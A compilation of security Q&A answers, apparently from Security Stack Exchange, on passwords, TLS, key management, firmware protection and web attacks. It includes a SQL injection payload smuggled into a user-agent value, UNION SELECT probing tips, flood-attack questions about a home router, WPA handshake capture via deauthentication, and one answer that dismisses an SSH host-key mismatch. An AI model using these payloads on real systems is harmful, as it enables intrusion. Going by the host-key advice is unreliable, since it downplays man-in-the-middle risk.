Can Logout Failure Compromise Email Account? Risk assessment

So, how do I know if a session to the account has expired if I can't logout from it?

If you can still access resources which require your authorization then you are not logged out. Thus simply try to access new mails or similar in case of Outlook web interface.

  Could a failure to logout be a sign that someone else accessing my account?

Probably not. But details depend on the specific application and its current state of implementation which can vary from day to day.


Any time you install software from a vendor or project you are placing trust in that vendor or project not to have placed malicious code in there and also to have done a reasonable job of securing it.

Some people may suggest that open source is the answer to this, but without repeatable builds and a full source code audit done by someone you trust, there's less benefit to this than you might think to ordinary users.

Like most things in security this comes down to your threat model.  If you don't trust Microsoft, then sure don't use their software.  Bitlocker frankly is the least of your worries.  if MS want to compromise you they can just trojan a security update (you do install security updates, right...)..  Of course this is true whatever OS and application software you use.  OSX, Apple can compromise you, Debian linux, the debian project can compromise you.

Realistically a better question is "is it likely that they want to"?


Is there a drawback to exposing the reason for login failure if # of combinations is compensated with password complexity?

I believe your proposal of increasing password complexity successfully mitigates the increased risk of exposing username information, especially if you consider that most registration pages already allow you to enumerate usernames by trying to register existing ones (albeit typically behind a CAPTCHA).

However, even if there isn't any drawback from a security standpoint, if the choice is between:

Display generic (less helpful) login messages.
Display more helpful login messages in conjunction with increasing the minimum password length by (for example) at least 4 characters.

It's likely that with #2 the collective increase in annoyance for all users is greater than the amount saved.


SQLmap injection not working, manually it works fine

Whilst it's impossible to say exactly why sqlmap is failing without having access to the test application you could look at using an intercepting proxy to review the requests/responses from the app. to see where its failing . Using a proxy like OWASP ZAP or Burp you could look at the queries sent by sqlmap and get an idea of why they might be failing.


Why check your email in haveibeenpwned rather than regularly changing your password regardless of any leaks?

Your question contains several false assumption:

  If you're a security conscious user, you'd change your passwords regularly on any website that matters

According to my password manager I have more than hundreds of accounts and most of them would do harm to me if compromised. Changing all of them regularly (like every 90 days) is a huge amount of work. So I use strong passwords generated by the password manager instead. But some services still save passwords in clear text.

  and thus leaks would not affect you in the first place.

Let's say I would change every password every 90 days. There is still the possibility that there are 89 days where my account is compromised and the attacker has time to do anything including changing my password. When you know your account is in the list, you can act instantly.

  Why not follow the right security practices regardless of any leaks?

See previous point.

  So why are people so interested in using haveibeenpwned?

To know which accounts are affected and to figure out which service got hacked/where the accounts came from.

With this knowledge:

I can change the password instantly.
I know which service is less trustworthy for sensitive data, money, ... and I might close my activity at this service.
If this service has a messaging system I know to be more alert of messages from "friends" because the account might be stolen.
I know which of my data might be compromised (data at the hacked service).


Is it safe to help a stranger login to gmail using my phone number?

He may have been misleading you into thinking he was trying to gain access to an existing account, when in fact he was trying to setup a new account for some nefarious purpose.

Many email service providers (including Gmail) require a phone number when setting up new accounts.  The service provider validates that the person who is setting up the account is able to receive messages at the phone number provided, using the method that you described in your question.  This prevents people from anonymously setting up accounts.  Then, later, if the account is misused, the provider has a phone number that they can attempt to use to track down the person who setup the account.

If this is what the person that you met was up to, and you had given him your phone number to use, and he proceeded to setup the account and then use it for some illicit purpose - then you may have soon received a call from law enforcement and had some explaining to do.


Good pen testers tend to have three qualities: an attention to detail whilst following a flexible process so that nothing is missed, patience to keep going at something when they have a gut feeling that there's 'something there', and a lot of experience (which is how they get the 'gut' feeling in the first place).

Poor pen testers follow a rigid checklist process (regardless of findings during the test) and use basic tools and simply report the tool output back to the client. Good pen testers can review findings and understand and discuss the real-world risk associated with vulnerabilities.

Poor pen testers don't understand all of the implications of the vulnerabilities their tools discover. Good pen testers have seen, or can foresee, how one vulnerability can be exploited further, or how multiple vulnerabilities can be combined to create a bigger risk. Good pen testers can also recommend compensating technical controls other than the most immediate recommendations.

Poor pen testers are often opaque in their process. Good pen testers are happy to show their working, their logs, and also (perhaps more importantly) discuss what they haven't tested, and why.

Poor pen testers sometimes believe, and even tell their clients, that a clean test result means the systems they are testing are 'secure'! Good pen testers also understand the role of pen testing as part of an overall security governance programme and that their own work may not have 100% coverage, and are only a snapshot of security status at the time of testing.


SQL Injection - UNION SELECT and returning a 'keyword' to find exploitable columns

This is one of the best ways to do it, but be careful of error-based injection issues. You might find that every single result displays the random token in the output because each column is bound to an integer result, and a string will cause a cast error. In such a case, the only way to detect it is to look for typical SQL server / MySQL / PostgreSQL error messages in the output, and look for a different count of the token in the page.


Is it advisable to change your password every now and then?

Why are we sometimes encouraged to change our passwords periodically? Two reasons:

Passwords are (hopefully) stored in hashed form, meaning that it is supposed to be impossible to get the plaintext password even if you manage to steal the database. If the password is weak, or the hashing bad, it is possible to brute force the password. This can take time, even on a very fast computer. If you change your password every month, and brute forcing the password takes two months, the attacker is out of luck.
If say your collegue steals your password by peaking while you type he can read your email and spy on you. If you change your password regularly, you will eventually shut her out.

So changing your password is positive in theory. But it is associated with a cost - having to memorize the new password. If having to pay that cost forces you to take other cheap short cuts in other areas, you may end up less secure because of it.

I would use this priority list:

Never use stupidly simple top 1 000 passwords like password1 or 123456.
Never reuse the same password on multiple sites.
Use reasonably strong passwords.
Change your password every now and then.

If implementing #4 causes you to cheat on #1 - #3 to be able to keep all the passwords in memory, you are doing yourself a disservice. Fortunately, there is an easy way to fullfill #1 - #3 without spending any brainpower at all - just use a password manager. There are plenty of free alternatives.

Even with a password manager you might want to change your password periodically in case someone got hold of it. Good thing is that it is now very easy to do, since you don't need to remember it.


Yes it is. For one, the logs may contain personal information, such as IP addresses. They may also show what exactly the users viewed and when. More importantly, error logs may even contain sensitive information if things go wrong, such as passwords or more likely session tokens. Lastly, seeing exact errors may help attackers, who are trying to break the site. Knowing why exactly what they are doing is not working is a big help.


Can someone please help me understand how the protocol EAP-TTLS really works?

In EAP-TTLS, the tunnel is established with no authentication. Once the tunnel is established and secure communication possible, any means of authentication, such as AD credentials, can be used.

The certificate is used to establish a secure connection over a public channel, where the certificate is used to confirm the server's identity.

Once this channel has been established, the client knows it has connected to an authentication server, but the server has no idea who it is talking to.

Therefore, a second round of authentication, called the "inner authentication" is used to establish the identity of the client. The inner authentication can be done with AD, RADIUS, or any other authentication method.


Well, the app is certainly possible. If the app was created for good by a bank, it can be recreated for evil. Especially if the evil app doesn't actually need to handle banking transactions. It could just scoop the credentials and crash.

I think the other half of this question is "Are people dumb enough to fall for this?" Absolutely. Stupid is a renewable resource. Not everyone will fall for this (app distributors wouldn't ever publish it) but some will have that killer combination of ignorance and hubris and get their bank credentials stolen.


WEB long basic authorization string/Buffer Over Flow

This is all of the hallmark of a false positive.  Are you even using HTTP basic auth to access this website?  My guess is that your web application firewall is overpriced and poorly made.   You should try mod_security,  its free and also poorly made.


The DirtyCOW PoC page contains a list of proof of concept exploits, including several that do not require GCC. There is one written in Go and even one which requires only an assembler. You can also analyze how the exploit works and implement it yourself in whatever language is available to you.


Why are the gitlab SSH host key fingerprints not matching?

There are a large number of reasons why this can happen:

Hosting location.  Gitlab can be downloaded and hosted elsewhere.
The host keys posted on gitlab's page don't mean anything if your university is hosting their own version of gitlab.  In that case you would never see gitlab's host key - you would see the host key for your university server, and the difference would be meaningless.  You would have to ask the university what their host key is, and you are very unlikely to get an answer from them.
Out of date info The host key for Gitlab may have changed and they simply forgot to update that help page accordingly.
MitM Someone could be executing a MitM attack against your computer and has redirected traffic from gitlab to their own malicious server.

I figure option #1 is worth mentioning because it's not quite clear if your University's gitlab page is hosted with gitlab or your university.
 It sounds like it is gitlab hosted, but it isn't necessarily (obviously the repo URL should make that clear).

The possibility of MitM

Out of all three of these options, #3 is by far the least likely.  A successful MitM attack in this case can be both difficult and has little real benefit (for an attacker), so much so that it wouldn't even occur to me to consider it under normal circumstances.  So unless you are trying to connect to a remote gitlab repository so you can transfer up state secrets, you're probably just dealing with options #1 or #2.

You can also try to verify the likelihood of MitM by checking the IP address that of the server you are connecting to and trying to figure out if it belongs to gitlab.  Gitlab does have a (probably also old) list of their ip addresses:

https://gitlab.com/gitlab-com/infrastructure/issues/434

No guarantees of a match even for a valid gitlab connection because of the possibility of out-of-date docs.  Also no guarantees because someone running a successful MitM could possibly (depending on the details) also spoof an IP address.

Most likely scenario

Regardless, MitM is (IMO) very unlikely, and as a result I would just do your thing.  You should be able to find out soon enough if there is a problem.  Presumably you'll connect to the gitlab server, find the files you are expecting to find, copy up some stuff of your own, and then will be able to verify with whoever you are collaborating with that they received a copy of your work.  If so there is definitely nothing to worry about.

In general, my experience suggests that few organizations bother publishing host keys for verification.  Host keys certainly can be used to verify a server you have never connected to, but in practice I don't find that to be terribly common.  I suspect this is primarily for the reasons I mentioned briefly above: I don't believe this to be a common attack vector and you can usually find out pretty easily if you are connected to the right server simply because there are almost always more parties involved to verify your results.  As a result, I have most commonly used host key verification to detect when the server has changed than anything else, and I rarely (if ever) use it to verify a server on first connection.


What is the industry standard approach to disable weak ciphers to mitigate vulnerabilities?

For SSL/TLS, you can control this setting through group policy on 2008 or later systems (http://msdn.microsoft.com/en-us/library/windows/desktop/bb870930%28v=vs.85%29.aspx)
The setting is called SSL Cipher Suite Order and is inside of the Administrative Templates/Network hierarchy.

If you need to modify the behavior of other applications that utilize the SChannel crypto framework on the system, you can modify the registry values directly http://support.microsoft.com/kb/245030.


Protecting firmware .bin from reverse engineering

@Marcus is completely correct about using encryption, and how the key has to be stored somewhere safe and possibly used in conjunction with secure boot. As far as tools go, there are many symmetric and asymmetric encryption schemes that may be suitable for your use case.
However, you can't protect 100% from someone obtaining your firmware. You can only increase the difficulty of reverse engineering such that the effort required outweighs the potential reward of obtaining it. Of course, this will depend on the type of adversary; a casual user may give up immediately after seeing that it is encrypted, but a professional outfit may spend much more time and money until access is gained.
So, you can tailor your defenses to what level of threat you anticipate and balance that with what you are able/willing to spend. If you only want to protect against a casual user, it may be sufficient to only encrypt the firmware in transit, and have the firmware decrypted upon receipt using a key stored in firmware. This method requires very little investment on your part, but it also may fall over pretty quickly for someone who is more determined.
Of course, you can step up to using secure boot with a hardware security module, using the keys to decrypt firmware only on boot, but as mentioned, this is an architectural decision and will possibly incur more time/cost.
The problem is, even if you store the firmware encrypted in the best way possible and make the keys extremely hard to recover from the hardware, you also have to do everything else right. All it takes is one vulnerability in your software for a user to get a shell on your system, from where they could dump the firmware. Or, maybe there are debug ports (JTAG/SWD/UART) left on the board itself that could allow access with a little hardware hacking.
The point is, once your system is physically in someone else's hands, it's a losing battle from there. So maybe it's time to ask; what is it that you are really worried about being reverse engineered? If it's for security purposes, consider searching for and fixing vulnerabilities internally instead of hoping to hide them with security through obscurity. If you are trying to protect proprietary code, you could protect it through legal means instead of hoping nobody recovers it.


Can registration forms be used for an XSS attack?

Anything originating from the client can be used for XSS: form fields (including hidden ones), query parameters, even cookies, User-Agent string, and HTTP headers.

Any field, no matter which one, printed back without sanitization is a potential vector for XSS.


Determine if private key belongs to certificate?

I'm going to assume you have ssl.crt and ssl.key in your current directory.

If you want to see what's in your certificate it's

# openssl x509 -in ssl.crt -text -noout

Two of the things in here will be the RSA public Key's Modulus and Exponent (in hex).

If you want to see what's in your private key it's

# openssl rsa -in ssl.key -text -noout

Note the public key is usually in there (at the very least the modulus is required to be in there for the private key to work, and the public exponent is usually 65537 or 3).  So you can simply check if the modulus and public exponent match.  Granted, if you want to check that the private key is actually valid (that is d and e are valid RSA exponents for the modulus m), you would need to run

# openssl rsa -check -in ssl.key -noout

EDIT (2018): Please note if you are checking that a private key coming from an untrusted source corresponds with a certificate, you MUST CHECK that the private key is valid.  See here for an example where not checking the validity of a "leaked" private key lead to a CA improperly revoking a certificate.  You may skip this step if you know you validly generated the keypair.

Now you can simply generate the public key from both the certificate and the private key and then use diff to check that they don't differ:

# openssl x509 -in ssl.crt -pubkey -noout > from_crt.pub
# openssl rsa -in ssl.key -pubout > from_key.pub
# diff from_crt.pub from_key.pub

Or as a one liner that doesn't create files (using process substitution):

# diff  <(openssl x509 -in ssl.crt -pubkey -noout) <(openssl rsa -in ssl.key -pubout)

If the keys match, diff shouldn't return anything.  (You probably will see "writing RSA key" output to stderr from the second command).

Note  your webserver probably would loudly complain if the certificate and private key didn't match.  E.g., with nginx using the wrong key (same size, same public exponent, but last year's key) for the certificate nginx is using:

# sudo /etc/init.d/nginx restart
* Restarting nginx nginx
nginx: [emerg] SSL_CTX_use_PrivateKey_file("/etc/nginx/ssl/private/wrong_key.key") failed
(SSL: error:0B080074:x509 certificate routines:X509_check_private_key:key values mismatch)
nginx: configuration file /etc/nginx/nginx.conf test failed


Mutual SSL - Using Public CA for Client Auth CSR signing

Your question is not trivial to understand, however I think to know what your actual question is:

  Who authenticates / signs the certificates for both parties involved in a mutually authenticated TLS handshake?

For the server, the answer is clear: A CA trusted by the client (e.g. a standard CA) has to sign the server's certificate.

For the client however, the answer is more flexible.
During the TLS handshake, if the server requests client authentication, the server also sends a list of (direct) CAs it's going to accept. Thereby the server can just run their own Client CA to authenticate their users or the server can send a list of (standard) CAs it is going to accept or the server can just send an external CA with which the owner is contracted.


Best practice for encrypted file (or password) recovery

I responded on Stack Overflow, but I see this is posted here as well, so I repeat my answer from there:

You are dealing with a problem that a lot of serious security companies struggle with.  Briefly:

You are correct that #1 is the most secure option.  Some companies, such as SpiderOak, pride themselves that they are keeping the data so secure that not even they could access it under any circumstances.

If you do #2, then what is the point of encrypting on the client side in the first place?  It would make sense if all you want is performance benefits, not security benefits.

For #3: Secret questions do not work.

Another alternative of using secret sharing to allow some type of password recovery.  The user's password or the key that encrypts the user's data, is split into a number of shares that are distributed to trusted entities.  Recovering the password or key requires these entities to work together.  This prevents a single bad player from getting access to user data.  Generally, it is better to do this with the cryptographic key rather than the password (passwords are sometimes shared between different systems so a user should not want that anyone sees his password).  Unfortunately, this middle ground solution requires a lot of thought and implementation, and comes at an expensive administrative cost.


What is the difference between "Incident", "Attack" and "event"?

Assuming that you have looked up the official terms and wanted further help:

An event is something that has triggered notice. An event need not be an indication of wrongdoing. Someone successfully logging in is an event.

An incident is something that indicates a problem, however you define "problem". It carries from an event but has a layer of interpretation on top. Someone successfully logging in when they are on long-term sick leave and should be unable to use a computer is an incident.

An attack is an incident with malicious intent. Someone brute-forcing the credentials of someone on long-term sick leave is an attack. A manager asking the person on long-term sick leave for their password so that they can gain access to the person's work product for the benefit of the business is not an attack. It might be an incident, depending on your policies.

A threat is anything that has the potential to cause an incident. People, weather, machines, etc.


Is port in UDP flood necessary? HTTP flood-down because? UDP, SYN and ICMP flood methods

1- In flood scripts, the script sends UDP packets to
  "ip.address:random.port"

  Why It doesn't use only the IP ? Is port necessary ?

UDP is a multiplexed protocol: it allows for multiple connections between two hosts.

Thus a UDP connection is defined by the tuple (src address, src port, dst address, dst port).

  2- If someone is HTTP flooding a website and make it down. Is it
  because of HTTP server application is too busy to reply the other
  packets ? If not what is the reason ?

It could be that the web server or app is using too many resources, for example if it was asked to perform an expensive operation.

It could be that the target's available bandwidth has been exceeded and packets are being dropped.

Less commonly, it could be that some device between the target and the rest of the world was brought down by the attack.

  3- Some people told me when I'll target a home router it'd be better
  if I choose UDP flood rather than SYN or ICMP flood as method. Is it
  true ? If it's true why ?

You'll have to ask the person who told you this. If I had to guess I'd say it's because UDP is less constrained by congestion.


How many rounds should be used to hash card numbers?

Looks like you are hashing card details along with the CVV. That's bad, very bad. Don't do that. Ever. And there's no way to do the wrong thing on the right way.

  "A man may do a right thing in a wrong way; but he cannot do a wrong  thing in a right way. For there is no right way of doing wrong."src

There are very cheap hash cracking rigs around the world that can try millions of hashes per second. Breaking your hashes can be done very fast, if you take into account that you have a handful of valid banks or issuers, so the first 6 digits are taken from a table, not the full search space. One database leak and all financial data is available on the underground forums.

Don't compromise your security for a little increase in convenience. It's not hard for the client to type the card again, or login at Paypal to pay you, but will be terrible if they receive a mail from you informing that all their card data leaked and they have to cancel and reissue their cards, and keep an eye on their account to find any fraudulent purchase.

Don't store payment information. Let the payment gateway process it. If they mishandle card data, it's on them, not on you.

Don't store card data. Never ever store the CVV, hashed or not, encrypted or plaintext, in clear or base64 or whatever other way.

Just a little math for the cracking time.

The first 6 digits are the issuer identifier. There are way less than a million, so you can look up on a table and get all possible ones, and pick the most common. Bank of America, Citibank, HSBC, Chase. You will have around a hundred for the first 6 digits.

For a MasterCard, the next 9 numbers are the account number, and the last
digit is the verification digit. You can calculate the last one way faster than throwing it at the hash function, so you will have 1,000,000,000 possible account numbers and around 100 possible issuers, totaling for 1011 possible card numbers.

With a hashing rig with 8x Nvidia GTX 1080s, they cracked 105 hundred OpenBSD bcrypt hashes per second, with a work factor of 5. I don't know the parameters you used on your bcrypt calculation, but let's consider you did it as good as OpenBSD developers (and they are quite good at it).

Using this numbers, a single rig can crack this relevant search space in:

100,000,000,000 numbers at 105,000 per second = 950k seconds
950k seconds = 264 hours = around 11 days

An attacker will not crack every single card on your database in 11 days, but will crack all cards from the major issuers in less than 2 weeks. Rent some Ethereum mining rigs from your fellow crypto currency miner, and an attacker can crack this all in a day.


Where should a Vulnerability Disclosure Policy be published?

In seeking an answer to this question, I approached the team at the CROW lab (Cybersecurity Researchers of Waikato).  A representative of the Lab responded with the following:

  If someone does find a vulnerability, chances are they would be a tech
  savvy person who would have looked at the HTML or HTTP headers. I
  believe that it is enough for an average security researcher to find
  (looking at it from a technical view not legal view of course).

So, until any further information comes to light, I'm accepting that as the answer; I'll still appreciate additional answers though!


Best practices to manage password for embedded Linux devices

Should we generate a strong password offline, keep it closely guarded secret, and use the same one across all copies of the device?

Absolutely not. There are two primary problems which make the risk (likelihood x impact) of an attack high:

The first is that you are likely underestimating likelihood: It is very hard to keep something a secret in your own company. It is nearly impossible to do so in the field. For example, it is simple enough to dump the contents of eMMC using physical means. See 1.
The second relates to the impact. If you used a different secret per device, an attacker would have to do an eMMC dump (for example) for each device, which is extraordinarily hard to scale. However, if only one secret is used, then every device can be compromised with no extra effort (i.e. the work effort for the attacker is constant, rather than linear w.r.t targets).

  should I write code that on the first boot changes the password to salted hash of the device serial number

This makes things slightly better, but not by much.

If the salt is shared across all devices, you have a problem very similar to what I previously described: an attacker simply needs to do a memory dump one time and all devices become vulnerable (a serial number is obviously not cryptographically strong) so best practice is to assume an attacker will be able to take the (shared) password and the (shared) salt, guess the serial number and compute the correct password per target device with little effort.

Using a unique salt per device is a definite improvement assuming you don't store the actual password anywhere (only store the salted hash). This means you shouldn't "change the password [on first boot]" as suggested. Doing so provides some window of opportunity for an attacker to dump memory and get the password before first boot. At which point, every device is again vulnerable.

  is there other well-known practices?

You can mitigate most of the above issues by relying on public-key cryptography. Generate a private/public key pair in your back office for each device, place the public key on the device file system and the private key in some back office "key management system".

To login, you essentially "sign" some piece of data (using the private key) and send this to the device. The device verifies it using the stored (unique) public key. SSH already supports this, see 2.

Analysis

Now let's look at the likelihood and impact of an attack:

Goal: Prevent malicious attacker from logging into to device over SSH.

Likelihood: An attacker can not log in without presenting a proper private certificate (which amounts to guessing a sufficiently long key: impractical) OR by tampering with the device's memory to replace the public certificate OR due to a software implementation bug in the login procedure.

Option 1 is impractical. Option 2 is possible, albeit somewhat time consuming and not scalable. Option 3 is perhaps the most likely, but hard to avoid unless disabling SSH is allowable.

Impact: The analysis here is easy. Since we have a unique key pair assigned to each device, an attacker who does any amount of work to crack or change the key pair for a target device will NOT be able to reuse the work on other targets. Let's call the impact of this "low"

Given this our risk is likelihood x impact = low/medium x low = ~ low risk

Of course, you really need to tune your risk model / tolerance to your organization and application. If, for example, these devices are used to control a safety-critical feature of an airplane or car, you may not tolerate even one-time, physical attacks.

Extra resources

It may be helpful to also review NIST's many guidelines for key management: https://csrc.nist.gov/Projects/Key-Management/Key-Management-Guidelines

Specifically, Chapter 10 of part 3.

References

1: https://www.blackhat.com/docs/us-17/wednesday/us-17-Etemadieh-Hacking-Hardware-With-A-$10-SD-Card-Reader-wp.pdf

2: https://www.ssh.com/ssh/key/

3: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf


How can wireless password cracking be detected?

In order to capture the handshake of the WPE/WPA2 network you generally need a client establishing a connection with the access point.
This can be forced by the attacker by using e.g. a deauthentication attack which then leads to the client sending the hashed password to the access point.
A deauthentication attack can be detected, however, if you wait until a network device get's disconnected, which eventually will happen, there's no way to detect you capturing the handshake.
Once you cracked the passphare, it is obvious that you need to be careful with MAC address, hostnames etc. But that is not a part of cracking a WPA network.


2FA: Why do I need to keep my backup codes for each platform on paper?

Writing them to paper is one of the simplest, guaranteed to be safe from malware and hardware failure for the average people. If you have a password manager, usually you can store secure notes too, which can handle backup codes. But if you do that, then attackers who managed to breach your password manager now have everything they need to get into your account. Some 2FA apps like Authy allow syncing and backing up codes across multiple devices, but this also means you've multiplied the weak links.
You don't have to take a single approach for all of your account, perhaps you decide your social media account is not that vital and store the backup code in online account or sync the 2FA token, while still writing your email backup code in a piece of paper because it's the gateway for every account you have.


Using a Common Private Key for Digital Signatures

The device id ensures that the mobile account is being accessed from the device that was used to create the account.

I stop you right there. This does not, and cannot work, at least with stock hardware. From the server, you may receive a message claiming to originate from a device with a specific ID, but this in no way proves that the said device was really involved in the operation.

The fundamental reason for this is that the potential attacker can know, by definition, everything that is not secret, and basic hardware contains no secret -- especially hardware that the attacker has access to.

The username and password do not authenticate the device or the application; they authenticate the user. If the user is the potential attacker, then this name and password won't stop him in any way: he knows them, there again by definition. The same goes for a private key embedded in the application code: the attacker can extract it through rather simple reverse engineering, and therefore such a signature proves nothing at all.

To have some real device authentication, you need heavy artillery, including some tamper-resistant hardware elements that you will not find, or be able to use, in existing smartphones.

All of the above is for the security model where the user is the attacker. In that model, the user wants to access your server, but not from "your" app; instead, the user wants to use his own special client code, which allows him to do some operations that are formally forbidden. This is the security model of most online games: the "attacker" is a game player who wishes to obtain some advantage through a modified client application, for instance by displaying the positions of the other players, known to the client application in order to maintain the game dynamics, but normally not displayed. See the Wikipedia page for some other examples.

The bottom-line is that this security model cannot be maintained in the long run, although some mitigation measures can be applied to keep the nuisance to a low level, at least as long as what is at stake does not have a great value.

You might want to use another security model where the user is not the attacker, but a potential victim, and you want to protect the user data, his requests to your server and the responses, from malicious alterations from the outside.

In that model, SSL is sufficient. That's what SSL was designed for, and it works. A signature from a private key hardcoded in the application code brings no extra safety: since every instance of the app contains the private key, it must be assumed that the attacker already has it. Assuming that the attacker can break through the SSL, then it is easy for him to recompute the signature on the altered data. Fortunately, breaking through the SSL is far from trivial.

One way to state it is that a private key which is copied into thousands of application instances, on thousands of mobile phones, cannot be really private. But once it is public, it no longer has any value; a private key is worth only as much as it is private.

Then there is a third security model in which the attacker is again the user, but with a distinct goal. Instead of trying to run a modified application (e.g. an application which follows the protocol but leaks some extra information), he tries to send fake, altered requests to the server. In that model, a signature can be useful, if you force the attacker to sign every request. With the user name and password, your server already knows which user it is talking to. A signature on the request (and not a session key, as occurs e.g. in SSL with certificate-based client authentication) can potentially be turned into a convincing proof that could be shown to a judge, if things go legal.

For this to work, you must not use one shared private key, but one key per user. It also requires that you can demonstrate that your server could never have obtained a copy of the private key of a user; otherwise, there is no proof. This is a complex issue, and note that I used the word "potentially": legal matters depend on the jurisdiction and cannot be reduced to simple technical tools.

Summary: SSL, when used correctly, protects data in transit against alterations and eavesdropping by outsiders. An extra signature with a shared private key does not bring any additional benefit.

To protect against a modified client, and/or to authenticate the client device (as opposed to the human user), a signature with a shared private key does not help either. For that, you would need some extra client-side hardware. It may be possible to change the context by trying to make the user responsible for what he sends, but for this, again, a signature with a shared private key won't work.


Using user agent & inputs for SQL injection with ModSecurity WAF

The error you get is from MySQL, not from modsecurity. It informs you that the SQL statement the server has constructed is invalid.

For example, maybe the SQL query is contructed like this:

UPDATE clients SET useragent='$useragent'

With your example, this would become

UPDATE clients SET useragent='brick') order by 15 --+'

This is clearly invalid, because of the parenthesis.

To exploit this, you either need to know the exact query or you need to guess the query and try some different values.


Advice on using encryption for self training app

Welcome to security.se and to key management!

Storing the keys is always the biggest issue with server-side encryption: on one hand, you need easy and transparent access to the key by your application and on the other hand, you need to protect your data from any unauthorized access.

The usual answer to this is to use a hardware security module (HSM). This type of hardware device (which range from a simple USB key-like device to rack-mounted systems) have special, tamper-proof storage for they key themselves and will handle all crypto operations using these keys (decryption and digital signature, encryption and validation can be done outside the device since you do not need access to the private keys).

Using this approach, assuming you did implement encryption properly, you limit the way in which data can be leaked:  even if someone obtain a dump of your database, they will not gain access to the cleartext data unless the physically steal the HSM (which is easier to protect).

However, this kind of setup is very difficult to implement properly and efficiently. While in theory quite secure, it's often still possible to grab cleartext data or even symmetrical encryption keys (if you used the HSM to gain access to these keys) from the process memory. Modern, high-level languages like PHP, Java and C# are particularly prone to keeping that kind of sensitive information in memory for extended period of time since there is no way to explicitly zero and free memory (and even if you do, there is often a trace left in the page file).

Also, you're still left open to any kind of code injection that will grant access to your data after it has been decrypted (for instance, if you use transparent data encryption, it will not protect your data against any kind of SQL injection in your own program).


Best way to make a Linux install tamper proof

It is probably not possible to make this system tamper proof, at most you can make at some level of tamper resistant. Full disk encryption is a good way and maybe even the best you could achieve with off-the-shelf PC hardware.

But disk encryption does not help against simple hardware key loggers which can be used to get to the disk password. More advanced but possible are modification of the firmware, i.e. BIOS/UEFI, disk, network card, graphic card, Intel SMM ...

In summary, you cannot really build a skyscraper (i.e. tamper-proof) in a swamp (off-the shelf PC).

Edit: based on the updates to the question it looks like that everything which need to be done is to make sure that the system only boots the installed Linux without user specified arguments (i.e. no init=/bin/bash). This can be done by restricting boot medium in the BIOS, protecting the BIOS with a password and protecting the Linux boot loader (grub) with a password. Disk encryption will not help here and in fact hinders unattended boot of the systems which is probably required in this environment.


Attackers posting large HTML pages - just spam? or something more sinister?

From the sample you provided, it looks like forum spam where the poster is trying to advertise. I was unable to spot anything malicious at first glance, although the target sites might host malware.

It IS possible that they might be trying to trigger a DoS scenario by clogging your forms, but there are more efficient ways to do that.

Just looks like simple spam.


Is it safe to generate passwords online?

No.  It is not safe to generate passwords online.  Don't do it!

In theory there are some ways that one could perhaps build a password generator that is not so bad (e.g., run it in Javascript, on your local machine, and so forth).  However, in practice, there are too many pitfalls that an average user cannot be expected to detect.  Consequently, I do not recommend it.

For instance, an average user has no way to vet whether the password generator does indeed ensure that the password never leaves your site.  The average user has no way to verify that the web site is not keeping a copy of your password.  The average user has no way to verify that the password generation code is using good entropy (and Javascript's Math.random(), which is the obvious thing to use for this purpose, is not a great pseudorandom number generator).


Is it possible to ping a LAN card through its MAC address?

The MAC address is link-local. When a machine emits an ethernet frame, that frame is tagged with the MAC addresses of the source and destination hosts, which are both connected to the same local link (plugged to the same LAN, associated with the same WiFi...). Normally, (at least) one of the two machines is a router: the frame contents are an IP packet, and the router will put that IP packet in a new frame on another link, and send it on its way. Only the IP packet thus travels; the original frame header, including the MAC addresses, remains local.

Thus, the MAC address of a machine cannot be viewed from other machines which are not part of the same LAN. It cannot be seen, and therefore cannot be used for tracking, from remote Internet places. Similarly, you cannot send a packet meant for a specific MAC address if you are not already on the same LAN. Global routing works on IP addresses, not MAC addresses.

Now there are exceptions to all rules. IPv6 is the next version of the Internet protocol, waiting to be widely adopted (I am not sure it will ever happen, but hey, one can only hope). The relationship between ethernet frames and IPv6 packets is still as I explained above; however, IPv6 may imply a leak of MAC addresses.

Indeed, most user systems nowadays (as opposed to servers and routers) obtain a dynamic IP address when they connect their LAN or WiFi access point. With IPv4 DHCP is used, and, usually, the user's machine is allocated a "private" IP address, that will be converted with NAT when external systems must be contacted. With IPv6, the IP address space is much enlarged, so that NAT is no longer necessary, so the machine's IP address will be visible from the outside; furthermore, IPv6 dynamic address attribution is done with NDP, and (pay attention, that's the important point here) the machine's dynamic IP address will include, as a subfield, its MAC address (the MAC 48 bits are reused as part of the 128-bit IPv6 address).

A consequence is that, from an IPv6 server's point of view, client machines can be tracked. Not that the server would somehow know if a given machine is up and running; but in the sense that the server may notice when two client connections, from distinct IP address, are really from the same hardware (e.g. a laptop, the user having just moved from his office to his home). This is not the kind of tracking which would allow a "ping" request (the tracking server must wait for the system to connect to it), but it is a privacy concern nonetheless.

Extensions to the protocol have been defined, to generate IPv6 addresses differently, in a less trackable way. Most modern desktop/laptop OS implement these extensions, so the tracking explained above does no longer work, or will cease to work in the near-term future (and nobody uses IPv6, anyway).


Risks for a new type of website login feature

Attackers knows all about automation. Ten seconds are a lot of time for an attacker who knows how to write scripts. In your scenario, if the insecure PC is malicious, it can use this very small window to enact a lot of harm: contrary to a human user, the attacker is not limited to how fast he can move a mouse.

I suppose that you want to login with your smartphone, and, from that smartphone, allow access to your account for "ten seconds" from the possibly malicious PC; the idea being that you do not want to type your precious password on that PC. This will indeed be beneficial to you if you assume that the PC just passively grabs passwords, but will not actively connect to whatever Web site you wish to use. Not all attackers can be trusted for being so polite, though.

Another similar but much more common and robust solution is to use one-time passwords. Instead of opening your accounts to everybody, even for a short time, use a password which works only once. Key loggers can log it, it won't matter, since the server will not accept each password more than once. You still have all the issues with maliciously active insecure PC: once you accept to use the bad guy's machine, you are giving him, virtually, access to your account for at least the few seconds you are using it, and that's enough to forfeit your security.


How to successfully prevent advance persistent threats

"Advanced Persistent Threats" (APT) are primarily marketing language which  still has a true core. Lets analyze first the particular words to get to the core:

Threat: This means it is somehow dangerous for you, so that you will be scared and buy something in the hope it will protect you. Note that when you are scared critical thinking often is reduced so you might buy anything just because of the marketing and not because of the true capabilities.
Persistent: Attacker plans to have you infiltrated as long as possible. This might be the case because the attackers want to get as much as possible internal information from you, i.e espionage. Or they want to infiltrate your internal networks so that they will be able to disrupt critical processes at the right time, i.e sabotage. Or they want use you as a trampoline to hide attacks against other companies, by misusing existing trust relationships. Or something different.
Advanced: This just means whatever you use currently will not work to detect the attack. This is another way of selling you something new, often marketed as "Advanced Threat Protection" (ATP). The similarity between APT and ATP might be intentional but is misleading. In my eyes "Advanced Threat Protection" is just the new buzzword because everybody now claims to have a "Next Generation Firewall" and the marketing needed something new. So it is mostly the same with a different name. And it still can be trivially bypassed as I've seen in my research.

